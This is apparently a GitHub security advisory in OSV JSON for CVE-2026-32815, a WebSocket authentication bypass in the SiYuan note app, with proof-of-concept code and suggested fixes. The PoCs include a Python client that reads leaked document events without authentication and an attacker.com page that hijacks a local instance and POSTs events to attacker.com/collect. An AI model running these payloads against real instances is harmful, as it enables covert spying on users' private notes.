CVE-2026-32815: Github.com/siyuan note/siyuan/kernel Authentication Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xp2m-98x8-rpj6",
  "modified" : "2026-03-30T13:59:03Z",
  "published" : "2026-03-16T18:46:34Z",
  "aliases" : [ "CVE-2026-32815" ],
  "summary" : "SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure",
  "details" : "# Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure\n\n## Summary\n\nSiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.\n\nCombined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.\n\n## Affected Component\n\n- **File:** `kernel/server/serve.go:728-731`\n- **Function:** `serveWebSocket()` → `HandleConnect` handler\n- **Endpoint:** `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Root Cause\n\nThe WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    authOk := true\n    if \"\" != model.Conf.AccessAuthCode {\n        // ... normal session/JWT authentication checks ...\n        // authOk = false if no valid session\n    }\n\n    if !authOk {\n        // Bypass: allow connection for auth page keepalive\n        // 用于授权页保持连接，避免非常驻内存内核自动退出\n        authOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") &&\n                 strings.Contains(s.Request.RequestURI, \"&id=auth&type=auth\")\n    }\n\n    if !authOk {\n        s.CloseWithMsg([]byte(\"  unauthenticated\"))\n        return\n    }\n\n    util.AddPushChan(s)  // Session added to broadcast list\n})\n```\n\nThree issues combine:\n\n1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan&id=auth&type=auth` bypasses all authentication checks.\n\n2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events — the same events sent to authenticated clients.\n\n3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**\n\n### 1. Direct unauthenticated connection\n\n```python\nimport asyncio, json, websockets\n\nasync def spy():\n    # Connect WITHOUT any authentication cookie\n    uri = \"ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth\"\n    async with websockets.connect(uri) as ws:\n        print(\"Connected without authentication!\")\n        while True:\n            msg = await ws.recv()\n            data = json.loads(msg)\n            cmd = data.get(\"cmd\")\n            d = data.get(\"data\", {})\n\n            if cmd == \"rename\":\n                print(f\"[LEAKED] Document renamed: {d.get('title')}\")\n            elif cmd == \"create\":\n                print(f\"[LEAKED] Document created: {d.get('path')}\")\n            elif cmd == \"renamenotebook\":\n                print(f\"[LEAKED] Notebook renamed: {d.get('name')}\")\n            elif cmd == \"removeDoc\":\n                print(f\"[LEAKED] Document deleted\")\n            elif cmd == \"transactions\":\n                for tx in d if isinstance(d, list) else []:\n                    for op in tx.get(\"doOperations\", []):\n                        if op.get(\"action\") == \"updateAttrs\":\n                            new = op.get(\"data\", {}).get(\"new\", {})\n                            print(f\"[LEAKED] Doc attrs: title={new.get('title')}\")\n\nasyncio.run(spy())\n```\n\n### 2. Cross-origin attack from malicious website\n\n```html\n<!-- Hosted on https://attacker.com/spy.html -->\n<script>\n// Victim has SiYuan running on localhost:6806\nconst ws = new WebSocket(\"ws://localhost:6806/ws?app=siyuan&id=spy&type=auth\");\n\nws.onopen = () => console.log(\"Connected to victim's SiYuan!\");\n\nws.onmessage = (event) => {\n    const data = JSON.parse(event.data);\n    // Exfiltrate document operations to attacker\n    fetch(\"https://attacker.com/collect\", {\n        method: \"POST\",\n        body: JSON.stringify({\n            cmd: data.cmd,\n            data: data.data,\n            timestamp: Date.now()\n        })\n    });\n};\n</script>\n```\n\n### 3. Confirmed leaked events\n\nThe following events are received by the unauthenticated WebSocket:\n\n| Event | Leaked Data |\n|-------|-------------|\n| `savedoc` | Document root ID, operation data |\n| `transactions` | Document title, ID, attrs (new/old) |\n| `create` | Document path, notebook info (name, ID) |\n| `rename` | New document title, path, notebook ID |\n| `renamenotebook` | New notebook name, notebook ID |\n| `removeDoc` | Document deletion event |\n\n### 4. Cross-origin connection confirmed\n\n```python\nimport websockets, asyncio\n\nasync def test():\n    uri = \"ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth\"\n    extra_headers = {\"Origin\": \"https://evil.attacker.com\"}\n    async with websockets.connect(uri, additional_headers=extra_headers) as ws:\n        print(\"Cross-origin connection accepted!\")  # SUCCEEDS\n\nasyncio.run(test())\n```\n\n**Result:** Connection succeeds — no Origin validation.\n\n## Attack Scenario\n\n1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance\n2. Victim has `accessAuthCode` configured (server is password-protected)\n3. Victim visits `attacker.com` in any browser\n4. Attacker's JavaScript connects to `ws://localhost:6806/ws?app=siyuan&id=spy&type=auth`\n5. WebSocket connection bypasses authentication\n6. Attacker silently monitors ALL document operations in real-time:\n   - Document titles (\"Q4 Financial Results\", \"Employee Reviews\", \"Patent Draft\")\n   - Notebook names (\"Personal\", \"Work - Confidential\")\n   - File paths and document IDs\n   - Create/rename/delete operations\n7. Attacker builds a profile of the victim's note-taking activity without any visible indication\n\n## Impact\n\n- **Severity:** HIGH (CVSS ~7.5)\n- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)\n- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured\n- Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance\n- Real-time information disclosure of document metadata (titles, paths, operations)\n- No user interaction required beyond visiting a malicious website\n- Affects both Electron desktop and Docker/server deployments\n- Silent — no visible indication to the user\n\n## Suggested Fix\n\n### 1. Remove the URL parameter authentication bypass\n\n```go\n// Remove or restrict the auth page bypass\n// Before (vulnerable):\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") &&\n         strings.Contains(s.Request.RequestURI, \"&id=auth&type=auth\")\n\n// After: Use a separate, restricted endpoint for auth page keepalive\n// that does NOT receive broadcast events\n```\n\n### 2. Add Origin header validation\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    // Validate Origin header\n    origin := s.Request.Header.Get(\"Origin\")\n    if origin != \"\" {\n        allowed := false\n        for _, o := range []string{\"http://localhost\", \"http://127.0.0.1\", \"app://\"} {\n            if strings.HasPrefix(origin, o) {\n                allowed = true\n                break\n            }\n        }\n        if !allowed {\n            s.CloseWithMsg([]byte(\"origin not allowed\"))\n            return\n        }\n    }\n    // ... rest of auth logic\n})\n```\n\n### 3. Separate keepalive from broadcast\n\nIf the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.0-20260313024916-fd6526133bb3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32815"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T18:46:34Z",
    "nvd_published_at" : "2026-03-19T22:16:42Z"
  }
}